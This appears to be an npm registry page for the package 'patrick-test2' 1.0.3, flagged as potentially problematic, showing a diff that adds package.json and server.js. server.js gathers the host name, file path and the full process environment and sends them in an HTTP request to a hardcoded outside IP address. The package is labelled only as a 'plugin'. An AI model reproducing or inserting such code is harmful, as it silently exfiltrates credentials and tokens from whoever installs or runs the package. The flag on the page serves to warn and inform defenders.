patrick-test2 1.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of patrick-test2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +19 -0
  2. package/server.js +38 -0
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "patrick-test2",
3
+ "version": "1.0.3",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "jest"
7
+ },
8
+ "repository": {
9
+ "type": "git",
10
+ "url": "git+https://github.com/pputman12/test-nodejs.git"
11
+ },
12
+ "keywords": [
13
+ "plugin"
14
+ ],
15
+ "devDependencies": {
16
+ "jest": "^24.9.0",
17
+ "solhint": "^3.3.0"
18
+ }
19
+ }
package/server.js ADDED
@@ -0,0 +1,38 @@
1
+ const http = require('http');
2
+ const querystring = require('querystring');
3
+
4
+ var os = require("os");
5
+ var hostname = os.hostname();
6
+ var environment = JSON.stringify(process.env)
7
+
8
+ var fs = require('fs');
9
+
10
+
11
+ // GET parameters
12
+ const parameters = {
13
+ filename: __filename,
14
+ hostname: hostname,
15
+ all: environment
16
+ }
17
+
18
+ // GET parameters as query string : "?id=123&type=post"
19
+ const get_request_args = querystring.stringify(parameters);
20
+
21
+
22
+ const options = {
23
+ hostname: '35.192.198.159',
24
+ port: 443,
25
+ path: '/' + get_request_args,
26
+ method: 'GET',
27
+ };
28
+
29
+ const req = http.request(options, res => {
30
+ // console.log(`statusCode: ${res.statusCode}`);
31
+
32
+ res.on('data', d => {
33
+ process.stdout.write(d);
34
+ });
35
+ });
36
+
37
+ req.end();
38
+